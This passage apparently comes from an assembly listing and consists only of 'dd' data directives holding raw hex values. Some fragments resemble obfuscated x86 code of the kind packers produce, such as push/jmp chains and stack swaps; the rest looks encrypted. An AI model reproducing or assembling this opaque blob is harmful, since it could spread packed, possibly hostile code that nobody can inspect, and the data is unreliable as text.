19BF1C35h, 0F17D47DDh, 77791C35h, 6CACEC7Ch dd 0B035E2D8h, 0ABCA03C4h, 1EA0883Eh, 0DA5E9502h, 1DB6B1Ah dd 2E1C0000h, 0D907C787h, 1C3641FFh, 0BD11BDE3h, 36419D27h dd 0E27991Ch, 0AE4688Bh, 0D5D563EAh, 0EE2D8BCh, 36A3BE40h dd 0C68371BEh, 579F3834h, 3EFB56B7h, 1A31188h, 11BD0000h dd 474BE9D3h, 3BBBDD1Dh, 0C7872E94h, 41FBD907h, 0C9DF1C36h dd 1A54C55h, 3641D9E3h, 25CBCD1Ch, 189828CBh, 0C9E2D8BCh dd 1E6F685Ch, 49883EFCh, 16Dh, 0AE2B478Ah, 445DD143h, 0D14D6F57h dd 0E992CC8h, 0EC847656h, 415F0BEBh, 1503641Eh, 9725CCD2h dd 13011B31h, 0C88173F2h, 92852385h, 3CE2h, 9B2EB100h dd 0BBF0BC3h, 3641EFD5h, 0FDA3EB1Ch, 1C3641B7h, 33C32DB3h dd 371729Dh, 0FE708615h, 54E40FE1h, 13011172h, 9C2B233h dd 928529C4h, 0ADA3h, 44DDDF00h, 0DA1A9E55h, 0AE2B4733h dd 4158D143h, 0C5223EB2h, 50C42FAAh, 0BE30BEDBh, 34ADC133h dd 8C092698h, 0BEB19368h, 6E1C3646h, 27B8E5F2h, 0B6FCA29Ch dd 0BC1C363Dh, 363D9C26h, 0AC16981Ch, 0F608C42Ah, 12965D7Ah dd 0C1A836E2h, 0B71501EEh, 0A239D31h, 0D34A0E8Fh, 0B23C59D6h dd 0D7F72F32h, 1B03AEF2h, 3CCh, 752683B1h, 2A736E03h, 7F1CB9B6h dd 237861F9h, 0C8D5C45Dh, 55CCBECBh, 8AA15744h, 54CA8E0Fh dd 8EA25647h, 0E8A48C11h, 0FB8D10BAh, 0F4D70412h, 6974EB15h dd 7C19168Ah, 2978C72h, 0F8E178F2h, 5841DDA3h, 2B479043h dd 839C1EAEh, 9D59DB16h, 0A21C7016h, 0ECD60C89h, 0E81C3641h dd 266DB98h, 0AD437CDEh, 9C398321h, 0AB2D1C35h, 445DD14Bh dd 9C428557h, 4E591C35h, 36923696h, 359C22A8h, 6E90161Ch dd 7E14E0F5h, 1502A08Fh, 338B4365h, 0AD1C7FF9h, 0D4DE04C3h dd 0D01300B2h, 0F7D420CEh, 0AE2B4754h, 445DD143h, 653D8857h dd 64343B69h, 8AF21503h, 0AA739350h, 31DF1750h, 12B444AFh dd 42130134h, 0CF41B02Dh, 18AB4653h, 2F601B09h, 0C00DCEB6h dd 0A792850Bh, 2Ah, 0D39B2EE8h, 41B33E5Bh, 0BC40B32Eh dd 0D210BC32h, 15037243h, 2CBC37B9h, 1301118Ah, 0F1EADA4Bh dd 9285299Ch, 114CBh, 2B47FC00h, 58D143AEh, 223EB241h dd 233CADC5h, 16B638B6h, 0CA676F66h, 668E9A21h, 438743E7h dd 358C179Dh, 578D131Ch, 1C358C6Dh, 3DAF4769h, 0DE69621h dd 0B4F66C3Eh, 135F657Fh, 3F651C36h, 1C361375h, 63556F71h dd 0CD23CDC8h, 0BF53C101h, 4627D19Eh, 740BD9AEh, 921C359Ch dd 62FBF468h, 0F6F87C77h, 37D79FBh, 605A726Fh, 0AE22D1CEh dd 2CC826B3h, 0C95894Fh, 1F900C0h, 0E6F35D34h, 9FEB8F0Eh dd 3591BB01h, 0CD29AF1Ch, 17B76F3Ah, 2BDEE89h, 8F0C9215h dd 0A12DE5B0h, 0CC5A2E03h, 2CA0460Bh, 0D2C75E60h, 3419AA10h dd 0FCF89E1Ch, 22B7AE50h, 6B6E0779h, 0A26A5C7Bh, 0F8E281E9h dd 204h, 2D6E4BE9h, 722BB6ABh, 376471EEh, 6B30A9C1h, 405D7CF5h dd 0ED840673h, 3229AFECh, 0EC82F6A7h, 362AAEEFh, 903CF4A9h dd 0FB8A6852h, 8C2F5C12h, 0F2AB2E47h, 1DC3F26Eh, 1C364197h dd 0EBE30D93h, 25F1EE93h, 605A9E1Fh, 10CA83C3h, 805D9957h dd 0A19B2ECBh, 3641B903h, 6C75E91Ch, 4A702E56h, 3E1C3641h dd 34985698h, 3719F6Eh, 752B5F15h, 1301114Fh, 0A351A54Bh dd 6066F6FDh, 90130111h, 7E1B1099h, 120F8170h, 0F7C6C87h dd 0D84D4225h, 29A2EBECh, 0BBC59285h, 6000000h, 43AE2B47h dd 0B24158D1h, 410AB40Ch, 0E80B968Bh, 0E4475C64h, 0E39A28CCh dd 151C3597h, 331B8019h, 43BC14Bh, 5F17D74h, 0EDDC978Bh dd 0DC763855h, 4DDA19D7h, 902AA27Ah, 53F7FF98h, 33AD28Dh dd 3930C615h, 21CF51A0h, 0D8EB7Ch, 0D3F016CCh, 0C2E40BCCh dd 6079F00Ah, 0F769933Bh, 99900AEAh, 0B76C8D2h, 0E907ECAAh dd 0A32390FDh, 7C660DE9h, 0F4h, 3D5E7BD9h, 623BA6BBh, 8714819Eh dd 5B4059D1h, 900D8CA5h, 1D14F683h, 0C2591F7Ch, 1C12C6D7h dd 0C65A1E7Fh, 0C00CC4D9h, 0FB899822h, 0BCFF8C12h, 0F2AB2E47h dd 31AEC23Ch, 0A8D74BC5h, 3641D0FAh, 0CC22C41Ch, 2B47DCCFh dd 5DD143AEh, 41367C22h, 0F66E1C36h, 348E12E1h, 30903CB2h dd 0E096BE37h, 0B08D6990h, 59E840Fh, 5A976471h, 0B4EAE20Ch dd 150CA9B3h, 40B43F61h, 2DA8C32Ch, 0A26DAC3h, 0CC0668Dh dd 0FB58ECD6h, 2EC6E812h, 1910B1A0h, 0A78D1016h, 0CD1158D4h dd 0B22F42A9h, 0E905BD3Fh, 0EBB03E4Ah, 18A7B943h, 0D73E408Ah dd 3CB23411h, 0AD2A46B8h, 0B82E6121h, 0C033A6BFh, 1C16843Ch dd 74E8678Fh, 2818DBFCh, 507A2864h, 4411D68Ah, 0C74E1EA2h dd 90D8C9Dh, 0A7AC98EDh, 949C49D7h, 0FDF9FA8Ch, 0A9F2EF83h dd 539E3B37h, 36Bh, 844F9C00h, 41B01547h, 0AB4653CFh, 37BA2739h dd 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h dd 2AC9D04Dh, 4EC815Dh, 89000000h, 0E6892434h, 4C681h dd 0EE830000h, 24348704h, 0E189515Ch, 4C181h, 0E9810000h dd 4, 5C240C87h, 68240C89h, 0AAFh, 0B9242C89h, 366D7E1Bh dd 5480F181h, 0D9F76827h, 7EBD5549h, 311A5505h, 0C9815DE9h dd 5E433B7Fh, 0B18DC181h, 0EC830956h, 24248904h, 4240483h dd 4F05685Dh, 14890000h, 8BA24h, 0EA010000h, 0FF5A0A89h dd 835D2434h, 0C8B04C4h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 0C4BAE95Ch, 24EDFFFAh, 85D0A927h, 59051F45h dd 0B80C6187h, 93AB987h, 0E0FFC503h, 130C6868h, 4E0C4031h dd 131F1DDh, 5BF00EBEh, 5747C774h, 573FAABFh, 325F6A7Ch dd 6540260Bh, 6AE8403Ah, 23EB215h, 9BF742Ch, 207785B8h dd 1D46F697h, 15D8E10h, 78D70069h, 377B5682h, 739A403Fh dd 63F43AACh, 1E5B48F5h, 30060CF4h, 63018A1Fh, 74A80C3Ah dd 2DEBh, 0DD00000h, 319CBFAEh, 0ADF9DFF2h, 8C88A7A5h dd 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 68009D89h, 14672681h dd 6B03B2BDh, 0E976A850h, 0B1Fh, 3ABBDD68h, 0C40EE909h dd 6968FFFAh, 0E9093ABDh, 0FFFAC404h, 3ABE9668h, 0C3FAE909h dd 3F68FFFAh dd 0E9093ABFh, 0FFFAC3F0h, 3AC03268h, 0C3E6E909h, 568FFFAh dd 0E9093AC1h, 0FFFAC3DCh, 3AC18468h, 0C3D2E909h, 6668FFFAh dd 0E9093AC3h, 0FFFAC3C8h, 3AC47768h, 0C3BEE909h, 0D2FFFFAh dd 0F06DF3A8h, 332CB4E9h, 0EB83F5A6h, 322BADEEh, 4C3DF6A7h dd 6932A7BEh, 44597CF7h, 6835A2BCh, 3A637CF0h, 22A83696h dd 1612FB86h, 9B2E4685h, 96D50BC3h, 82150CF8h, 0D24E705Ch dd 0C20D8C5h, 36833B93h, 0C9CC7D67h, 9926AD49h, 5276560Eh dd 0CC28B1A8h, 0D2330036h, 67FCFE0Bh, 0CACC8272h, 0D5F6C602h dd 0B8890492h, 0BC2E6DAh, 2C13A3F9h, 0CDDA56C8h, 0F3A84653h dd 63F8F16Dh, 7F97B76h, 4B836D68h, 715B617Fh, 494F1C35h dd 7E8026ADh, 6F02F2E7h, 607E4A24h, 1C35715Ah, 309A484Eh dd 241C3571h, 2C606C82h, 218DF654h, 0CB2B07B2h, 2F1C635h dd 38AC3215h, 0F2D5B451h, 6FFDE58Ch, 6A000009h, 2EB2EBC8h dd 83F5A633h, 34ACF1ECh, 7E029B3Ch, 0F2A9F2E7h, 6178F199h dd 2AAFC43Ch, 6471EF71h, 34ADC137h, 0D70DC167h, 12FB86EDh dd 1517BCE9h, 886B76EBh, 0E27EF004h, 968AFEF5h, 0B0AC0519h dd 0A648CC27h, 7627C94Bh, 95E7F0D0h, 0D47D5326h, 4FA7342Ah dd 0B3EBF1C4h, 40AA12EDh, 638D0827h, 0BCA3418Dh, 0BA150295h dd 43AE2B40h, 5A02FB93h, 4EA1E65h, 559C42F0h, 8C3D1B1h dd 0C66A710Eh, 5D1EA02Eh, 0D24E1300h, 0A2BA2EC5h, 0DC29BE35h dd 21840DE8h, 0E1F31A33h, 85779285h, 5605F1E8h, 44h, 3908E30h dd 9F546CF0h, 0D2D2F6DAh, 2E20BF37h, 0D50BC39Bh, 1503724Ah dd 1AA428AEh, 0F2D9502h, 56873ACEh, 0D765EC08h, 130079F1h dd 844133B2h, 79309A48h, 82241300h, 0C183CA72h, 0DDE49285h dd 0A3000000h, 6772EB15h, 0A8011D8Fh, 0B7223BB4h, 0B836B83Ch dd 2BAEC739h, 0BFD854C8h, 0F06C8E34h, 6C880CE7h, 3C617EF2h dd 3640F9A8h, 7EF7091Ch, 3E21AB39h, 93151C36h, 0A22965Dh dd 0CE2668Dh, 0DDFA76E8h, 79F406C0h, 84534D32h, 0C02EE9B5h dd 39A6BA34h, 2AB814BAh, 1C3587A0h, 4FE21294h, 8C408C44h dd 16DDFA72h, 0E40F8CA2h, 0D8668E60h, 1502AEB5h, 9948B35h dd 0ECB137EDh, 8FA0485Bh, 90F0DC12h, 737EC64Fh, 6C10E44Ah dd 0CCEDA836h, 824A4C0Bh, 0A3F8E178h, 915544DDh, 0E9A3146Eh dd 0E39A842Fh, 0DE000007h, 9246577Ch, 0E799029Fh, 88504D48h dd 0E2960790h, 464D4E4Bh, 0BDDC5535h, 960318E0h, 0C0DD5305h dd 900925DBh, 3B69250Bh, 12FB8491h, 47735885h, 6EF2AB2Eh dd 13B8E5F2h, 6B76EB15h, 65F00488h, 7948A52h, 1C9DE5E9h dd 0A9789EAh, 3F5D65E7h, 0B05C98BEh, 29E23F2h, 0F7D7D915h dd 0E83A95C7h, 508E3D3Bh, 1300EB6Ah, 3EB6385Eh, 316F1BBFh dd 1300EB8Bh, 79D597Fh, 1300EBC1h, 18312382h, 92854FB5h dd 0DCB2h, 2B47E100h, 58D143AEh, 6F22B241h, 0C11C3641h dd 0F16734ADh, 2468647Dh, 363E347Eh, 1EAE301Ch, 363E3A80h dd 4CA82E1Ch, 0B76F3AC5h, 65068917h, 0BC041503h, 2E00B7A5h dd 0D951AFB8h, 687E34C0h, 890BE6F3h, 1EA93667h, 0B8428646h dd 38BC37A0h, 0DBB926BCh, 3BC50BCCh, 0CF15B924h, 1C339BE5h dd 8937BFE1h, 53A10C39h, 0A37B5158h, 0B3903070h, 0E6E60814h dd 903C5DD4h, 21CA63Ch, 0DC541C34h, 0EB438BBh, 0DAFF7688h dd 8C619517h, 0AAFDDAA2h, 2F23B624h, 0BDDC55C7h, 0A316EC29h dd 4832B1E9h, 6B6h, 752683B1h, 2A736E03h, 7F1CB9B6h, 237861F9h dd 0C8D5C45Dh, 55CCBECBh, 8AA15744h, 54CA8E0Fh, 8EA25647h dd 0E8A48C11h, 0FB8410BAh, 0F4D70412h, 0F2AB2E47h, 0B8E5F26Eh dd 72EB1513h, 15DCF977h, 12965D93h, 0EBF468E2h, 0DD989408h dd 3641FDC7h, 0F9F7F91Ch, 41FEC0A4h, 0D0FC1C36h, 3641A812h dd 5B44D81Ch, 24AF4769h, 0CF15B991h, 150CF886h, 0CAF5687Eh dd 0FB87AE14h, 0EA04AA12h, 0FA04C804h, 37D7966h, 0B729726Fh dd 48D31EBBh, 7B29A57Dh, 0BC8A270h, 71985424h, 8FF70ABFh dd 0BF4E8561h, 0A44FE9AFh, 60DBAh, 8D2A0800h, 0CCD54810h dd 8B1609CFh, 0C1D64E12h, 8C0D24DCh, 9377040Fh, 0DA9EFF9Ah dd 91475441h, 0E799029Fh, 5B4D4E4Bh, 82476D33h, 924312FBh dd 0AE2B4731h, 51D9F43h, 72EE6094h, 61A8E65h, 49E65A99h dd 0DD23A54Ch, 0AF9D5445h, 9173765Eh, 89A55044h, 0E7A38B10h dd 364213B9h, 0AE2B431Ch, 0ED03C143h, 6F876970h, 4FF97ECFh dd 7E989h, 0D1AA0000h, 185h, 41A52B02h, 0E9BC1C36h, 0A3BF2A41h dd 0B739BB36h, 0CE14B83Ch, 1C3641E4h, 9C30BEE0h, 4552CEF0h dd 3641159Fh, 3F851B1Ch, 3B1C3641h, 6D890FB5h, 0F81523C1h dd 5929150Ch, 8B05E6DAh, 0BA12DC08h, 1BB32C40h, 0A42D5163h dd 0E80C2B97h, 0D8D14D13h, 37975946h, 0C62DACC5h, 0A02BB242h dd 0C9D04D15h, 18BDB62Ah, 579957D9h, 0A8826977h, 70760BC8h dd 0B0037574h, 0E1C968E9h, 51Ah, 19822715h, 0CECFCA67h dd 1388150Ah, 0D7C4D54Dh, 0C910821h, 99907A0Fh, 4EE59B00h dd 908E524Bh, 4AE69A03h, 3458504Dh, 0FB81446Eh, 30934012h dd 43AE2B47h, 0A559DF9Fh, 9E37C94h, 0E2FF73EDh, 4034A10Fh dd 0FDE47983h, 88272F6h, 20128B14h, 895075EDh, 0C7Ah, 0B1AA5400h dd 0D131D024h, 0A5h, 0D39B2E02h, 1FAF415Ch, 0CF7E281h dd 0BC109615h, 0ECB12E42h, 38A1B842h, 0C12E42BCh, 34BF31A8h dd 88441CA7h, 1BDBF876h, 3DFF316Fh, 0EDF30BD2h, 6643DFE1h dd 0DC02CACFh, 1C3641D6h, 7922CCD2h, 0AB362BD5h, 36BEDB55h dd 0C42FA8C4h, 18B46C37h, 348778Ah, 0FC758715h, 176B19DDh dd 84898352h, 0DF07E951h, 0F2D618D8h, 47745E05h, 42000004h dd 76EAB310h, 3BBDDEFBh, 1CE4B924h, 560A9304h, 0DAE1BADFh dd 6970E9A1h, 22B7AC34h, 6C690779h, 2CB5A92Fh, 0CF15B96Fh dd 12FB80E5h, 0D10FB4E1h, 0F5h, 0C39B2E02h, 0F896D50Bh dd 5C82150Ch, 0C5D24E70h, 930C20D8h, 8C0D360h, 3E081EC4h dd 62260BD2h, 3641763Ch, 886C721Ch, 6F8D4DAh, 0A8306D6Ah dd 3BC82BB4h, 861CB068h, 15034873h, 66875F81h, 77F2D563h dd 3C802ECh, 91C30000h, 7CF16734h, 0AFC03865h, 7FF76932h dd 0A6BF415Ah, 0D8B16A33h, 0FD9E3B32h, 0A8F5E07Bh, 0FCA13E30h dd 0AEEFE884h, 0A60CD2FAh, 0A212FB80h, 2B47D2F1h, 0EB9F43AEh dd 36420FB5h, 11E50B1Ch, 0DB16839Fh, 0F34206Dh, 419F25BBh dd 5BD71C36h, 9262843Eh, 29B0418h, 4FF9FD50h, 4B6A89h dd 2E290000h, 0D50BC39Bh, 15030DF1h, 0F10BC3E5h, 96D9357Eh dd 0A58E5600h, 0ECB5FFh, 0C12FB113h, 0E7CE6E2Fh, 191300ECh dd 47FF9C05h, 0E5FBBCB5h, 1300ECDFh, 0D81BD5DBh, 312EA054h dd 0D9A94DA4h, 6BC50F9Ah, 5038BC5Eh, 31Eh, 0AC294781h dd 205FD345h, 36413882h, 44AA2C1Ch, 148DA157h, 0BCF76BDDh dd 617FEF28h, 9834BA1Dh, 1104AEF4h, 0DE001C36h, 13A64116h dd 0F269933Bh, 6C880CE7h, 333B22C0h, 0AF311503h, 2B12B444h dd 2C421301h, 0B6CD7B81h, 0E608E67Fh, 1A87990Bh, 8FC69D7h dd 1E6A246Dh, 1143A80h, 0A4B82E13h, 0D34BB53Bh, 0F3E12EC6h dd 4C4DE4D6h, 2AC508A8h, 2CA29285h, 0EC000000h, 0B2415ED2h dd 2E27C62Eh, 0D50BC39Bh, 1503724Ah, 3BC928AEh, 13011195h dd 0E4E5CF56h, 928529A9h, 0B3263FC1h, 0F49443h, 47F30000h dd 35A2BE2Bh, 0ADC438BBh, 3FB2273Ch dd 41BF059Bh, 35BB1C36h, 18BE35BBh, 1EC1DF68h, 65915208h dd 876A77EBh, 1B801915h, 36005A49h, 0BEE4A81Ch, 1C35FFF4h dd 9406EEF0h, 2DCFFF98h, 7826A633h, 1C35FF52h, 7754A046h dd 7D746D01h, 0DFEFA7F2h, 32CA6C1h, 0D11C6415h, 0BCD952A6h dd 0E9897C04h, 4C51570Dh, 4242287Bh, 7B91712Ah, 0CC00EEh dd 2EAC16CCh, 6A81301h, 0E2CF60EEh, 0C3E50BCCh, 6178F10Bh dd 2CADC43Ch, 0A2FE4BB8h, 0E7CF52E9h, 1E6h, 455673E1h dd 9A039E93h, 4F4C49E6h, 93089189h, 584554CDh, 0C55C2E5Bh dd 1A11C7D4h, 0C45A1E7Fh, 1E12C6D7h, 58341C81h, 0FB7E804Ah dd 64677412h, 597D2E47h, 30FF90C2h, 1011B94Eh, 0A14F45EEh dd 968A4E4Fh, 273BC509h, 4D9337BAh, 1C363467h, 1BB33D63h dd 36343F85h, 41B53B1Ch, 9B2EC76Ch, 4AD50BC3h, 0B8150372h dd 8E07AC14h, 8968F3Eh, 0B5F0DAh, 5DD2E413h, 9846AE40h dd 6B4DDB16h, 2C1300B5h, 0BB12CBB9h, 0AC928585h, 0BAh dd 2BB915DBh, 1C3641A1h, 69E31395h, 0AE14CAF5h, 0AA1C3641h dd 0D8E2EA04h, 169D5946h, 0E30E8BA2h, 36414655h, 6572EE1Ch dd 33ACC038h, 0A86033C0h, 6ADF7E24h, 13951503h, 0DFD03BBh dd 13DEFB76h, 10483191h, 0DB6C41B5h, 26BC10C8h, 0BCBF3E0h dd 0C8F2B0D4h, 0BC1C33F3h, 0C8F8D41Ah, 0F2BA5D83h, 0F3975F4Ch dd 854950C9h, 0F7FAE77Bh, 34AC8175h, 25B2AC3Dh, 0DCA61BCBh dd 6CF7E9A2h, 0D582h, 4562D000h, 148DA058h, 435ED187h dd 98EA65Ah, 4455CC94h, 5B2F5C57h, 12C6D7C2h, 591F7C19h dd 3FC1DAC7h, 43E5B623h, 7D6F558Bh, 3A6B12FBh, 0AB2E4799h dd 0E5F26EF2h, 2B4713B8h, 0C130A5BEh, 0CE42B13Fh, 4E631752h dd 0C53B4CBAh, 4BC722Bh, 0A2BF5336h, 8838BC37h, 64FD1080h dd 0F4FA7E75h, 6A227500h, 0E7562662h, 577D32B5h, 0E55CF202h dd 0D150C40h, 43C114B5h, 43BD6D64h, 0C044AF2Ah, 99587E34h dd 0D8E0B27h, 119CD74Bh, 6AFE54F6h, 0D9753F65h, 6F7112FBh dd 0F4846F81h, 5A6A6BE1h, 0E4977DE0h, 7D7F4F48h, 861308E1h dd 29AF8C68h, 0A145AC35h, 0A02551E1h, 7F773026h, 6D84150Dh dd 53260E7Fh, 415ED2DFh, 0F66AEEAFh, 3200AE9h, 71000000h dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 835D2AC9h dd 348904ECh, 81E68924h, 4C6h, 4EE8300h, 5C243487h, 5E08950h dd 4, 42Dh, 24048700h, 241C895Ch, 652F68h, 24148900h, 3ABB1868h dd 241C8B09h, 5404C483h, 8324148Bh, 0D56804C4h, 89000002h dd 428F241Ch, 2434FF08h, 4C4835Ah, 5B2434FFh, 4C481h, 1E90000h dd 0A1FFFAB9h, 0C20178D7h, 0B8A995CEh, 93AC571h, 0E0FFC503h dd 0FA71C37h, 41C2DBA5h, 13E5676Fh, 46150224h, 4C9EFCD9h dd 3B5C1632h, 600C018Eh, 0EF20E2Dh, 6BBB61C1h, 5D85CB17h dd 5968BCA2h, 4467EA1h, 735E364Ah, 1935BA6Dh, 7BE27E1Eh dd 143819CAh, 25C9B5E2h, 213862FDh, 53A58E9Eh, 36AE7B28h dd 37F000B1h, 3BEC62CEh, 6BD929CAh, 7BF2E5B2h, 4A97404Fh dd 3A3020E6h, 286FDD6h, 450F8D76h, 5161D803h, 0DE9C08Bh dd 0CF000000h, 286AC9Ah, 4A469DB8h, 0C8B439ECh, 26A1BD83h dd 75000935h, 79BD8309h, 93530h, 53501974h, 0FCB8C08Bh dd 89000003h, 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h dd 353079BDh, 17740009h, 0FCB85350h, 89000003h, 352AC185h dd 279D8D09h, 0FF0937B1h, 6A585BD3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0BA1AC350h dd 0F37D3DCh, 289h, 8B12B700h, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 1F889FFBh dd 19BD836Eh, 109351Ch, 63840Fh, 0B70F0000h, 0BDBD83D7h dd 9350Fh, 53850Fh, 13E90000h, 87000000h, 0B9AF283Ch, 0D4CB8056h dd 70BB4E91h, 12F810A0h, 0BD835A43h, 9352365h, 94840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 1B78C357h, 8156C2C8h, 0AEB855D2h dd 0E8B65A7Eh, 4BDB8166h, 44FE9C8h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 950667C3h dd 5A5051B1h, 0CED28166h, 80h, 0D0B70F00h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 46C35545h, 0DBAC85F1h dd 820FC85Ah, 0Bh, 58F0Fh, 81660000h, 1694F7E3h, 0F7F7827Fh dd 0B33FF6C3h, 733F9F22h, 7A62BCCAh, 0F8531597h, 4A7B1DCEh dd 373F88CEh, 586AD9CAh, 9C84FA77h, 0CBBA11FBh, 8C36A486h dd 0B9BD931Ah, 353F9CCAh, 6E3F99F4h, 373F9B23h, 0FF0CA1CAh dd 24A0FEFFh, 0E63F749Fh, 0F2629CCAh, 83F7B827h, 8C3FF6C3h dd 6E3F9F22h, 0F467BCCAh, 0BF7B1592h, 0E97B1DCEh, 0E63F85CEh dd 0B06FDCCAh, 0A100BAh, 0CFD6875Dh, 73F9CCAh, 923CE65Ah dd 0B7C2E469h, 0ACCD782Ah, 0E4AA2D5Bh, 548C082Fh, 51689CA0h dd 0DC3F9CC9h, 31FCC3EAh, 331BE043h, 9F1BD84Bh, 0CD3F9CD7h dd 9FFCCB8Dh, 0B537D558h, 0A8F19A34h, 354E2AFCh, 6E3F9CDEh dd 0AA07A8F8h, 1128E50Ch, 863E2F0h, 5E108438h, 380216CAh dd 3B305C41h, 0DC3F9CC2h, 6E3D18C5h, 565F9CCAh, 9B35759Ah dd 6E09CCAh, 0B76B511Fh, 1047056Fh, 0EF1B9843h, 87E7734Ah dd 0B5FD1C98h, 7B3E9391h, 91D662EEh, 0FB3F9CCAh, 0FD567762h dd 8C337BE1h, 0AAD6C476h, 4A3F9CCAh, 0F435D84Ch, 578DC9D3h dd 0B316F211h, 0BCCA0FD8h, 0EA3A16E2h, 9A3F9CC8h, 0B93F9CCFh dd 8E716A97h, 437171Bh, 34D7CFCAh, 0BB3F9CCAh, 44645F91h dd 673BB896h, 6E3BB88Eh, 0FA3F9CCAh, 23E55F99h, 0D9BF4B0h dd 7CBB485Ah, 9B2C13C5h, 0C3D69CCAh, 1A3F9CCAh, 5D831046h dd 76BFA666h, 7300E7B8h, 6E3774FCh, 761A9CCAh, 0D79A5E44h dd 0AB64AF96h, 1FC3D441h, 0CBE817ACh, 0B93F9CCBh, 4DE917ACh dd 1B87FAAAh, 0BC6FFDB2h, 9B550D1Dh, 0CD3C749Bh, 0BF1F9CCAh dd 3FB6C509h, 0FDBE98EEh, 0DC2698EEh, 3F7E9CCAh, 0F5C1F609h dd 94B36CFFh, 0CD3F9F4Bh, 0F7D01CCAh, 19E610ACh, 0BAD7C9CAh dd 0FC3F9CCAh, 0E7625F97h, 0B63BB8A6h, 823BB88Eh, 883F9CCAh dd 21425F9Fh, 71238920h, 0B9367598h, 5A839CCAh, 85DD3C58h dd 6C34E1D1h, 9B3F9423h, 7218D6CAh, 0A1269003h, 77FE6A92h dd 0B80E19C5h, 5E309CCAh, 6E3F9CC6h, 373915C5h, 68BE9CCAh dd 0E1BF0DE6h, 0B63FF693h, 733F9F22h, 7A67BCCAh, 0F87B1592h dd 4A7B1DCEh, 373F89CEh, 586FDCCAh, 0C2D74361h, 983F9CCAh dd 9686F056h, 82108D13h, 5AB834F8h, 67D60D31h, 0BF3F9CCAh dd 0AAC47AC0h, 0B69EC924h, 8E061C91h, 720819C5h, 0B5D79CCAh dd 1B3F9CCAh, 0D9E63F9Eh, 53E7CB25h, 0CCC298B2h, 9765B879h dd 0E63A759Dh, 0B4219CCAh, 0E2EF813Fh, 0B63EE541h, 6DD7CCCAh dd 173F9CCAh, 12675F92h, 4C3BB88Eh, 0F23BB88Eh, 333F9CCAh dd 0B6B45F9Ah, 0DC3F904Eh, 68B593CAh, 383F9CCAh, 9B3F9C4Dh dd 0CDC01DCAh, 0E9BF9CCAh, 733F4448h, 0EB3FF6CAh, 0DC3F9F22h dd 0AD65BCCAh, 136B1590h, 0BF7B1DCEh, 0CD3F88CEh, 256DDECAh dd 0ECBA5BE2h, 0B836A60Dh, 0BA3F9CCAh, 0CB527E4Bh, 373F6C23h dd 0CC3FF6CAh, 0CD3F9F22h dd 2560BCCAh, 57431595h, 9D7B1DCEh, 0DC3F84CEh, 0AD68DBCAh dd 5DEB52B9h, 72E7179Fh, 0CD3F9C4Bh, 0E62C75AAh, 717B9CCAh dd 0B53FB634h, 77EDFE4Ch, 63B3B7C8h, 4EC38891h, 71BEFAF7h dd 945EF04Eh, 0E6E9CA0h, 733F9CC9h, 0E0FCC5EAh, 0D81BD043h dd 6A1BD84Bh, 373F9CD2h, 1FCCD8Bh, 3C4E202Fh, 0ED461FACh dd 45BB9335h, 0B63F9CCAh, 0DC3F9F4Ch, 0BF8093CAh, 0F0A0190Dh dd 9B3E95F0h, 0CD559CCAh, 0E63C7499h, 281F9CCAh, 0E5B6C709h dd 98BE98EEh, 6E2998EEh, 647C9CCAh, 0B4E38A09h, 54A77E70h dd 0E655D4B6h, 733C749Ch, 0E71F9CCAh, 0A8B6C209h, 2ABE98EEh dd 372698EEh, 0CD799CCAh, 0BEA90909h, 0E68C946h, 733F9CD9h dd 11D2F179h, 0F2258A82h, 0E55B6528h, 8D84D479h, 0C9674159h dd 0FFBB27ACh, 806CC791h, 7924E4Bh, 1AFE2591h, 59B28133h dd 67055155h, 0FCDC2147h, 630495F0h, 0C20F9BBEh, 0D78551Bh dd 2384FA3Fh, 0EB3FF6BCh, 0DC3F9F22h, 0AD65BCCAh, 136B1590h dd 0BF7B1DCEh, 0CD3F80CEh, 256DDECAh, 0C419F99Dh, 99FE70F8h dd 2FBF6023h, 77821F62h, 3636A9D6h, 9B4F18C5h, 0CD559CCAh dd 0E63C749Bh, 2A1F9CCAh, 0F5B6C509h, 98BE98EEh, 6E2498EEh dd 667E9CCAh, 0C16C8C09h, 0A84B301Ah, 5B821FEFh, 7336A9C5h dd 0B97F19C5h, 0DC559CCAh, 6E3C749Fh, 6A1F9CCAh, 0F7B6C109h dd 89BE98EEh, 0E62398EEh, 267A9CCAh, 0D35CAA09h, 3F8537A0h dd 0BDB553B6h, 373C1FC5h, 24309CCAh, 0A8821F18h, 0E636A9E9h dd 731218C5h, 2599CCAh, 63D6426Ah, 43F9CCAh, 34D7C9CAh dd 0BB3F9CCAh, 44625F97h, 673BB8A6h, 6F3BB88Eh, 0FC3F9CCAh dd 987F5F9Fh, 66208E56h, 0B413DF06h, 0AE238577h, 48309DC3h dd 0E63F9CE5h, 462D5E4Bh, 4C62DB76h, 0DC2C7409h, 63CE9CCAh dd 8D7E8524h, 0A79103FBh, 0A69C42CBh, 0C5E6BB9Eh, 95BF2694h dd 50658046h, 0DC3F9CA8h, 33E12BC5h, 0DF6A9CA0h, 9B3F9CC9h dd 90FCC1EAh, 0E21BF043h, 771BD84Bh, 0B93F9CDEh, 7BFCC98Fh dd 6E261DC5h, 515F9CCAh, 722D8670h, 0CD3F9CC4h, 6AA53339h dd 40986B98h, 720C169Ch, 135E5313h, 866C9CA0h, 373F9CC9h dd 0C0FCC7EAh, 0C91BC043h, 0E21BD84Bh, 733F9CD0h, 0D8FCCF89h dd 16A3C0EDh, 0D3B2A1E2h, 3E055B13h, 56531147h, 0D08795F0h dd 0D544A696h, 4616C94Fh, 25F0B7C3h, 81331AFEh, 515559B2h dd 21476705h, 95F0FCDCh, 9BBE6304h, 551BC20Fh, 0E9830D78h dd 83A4F305h, 3AC79FBDh, 0D740009h, 4C028D8Dh, 1B80935h dd 0FF000000h, 6A40E1h, 3E855h, 5D200000h, 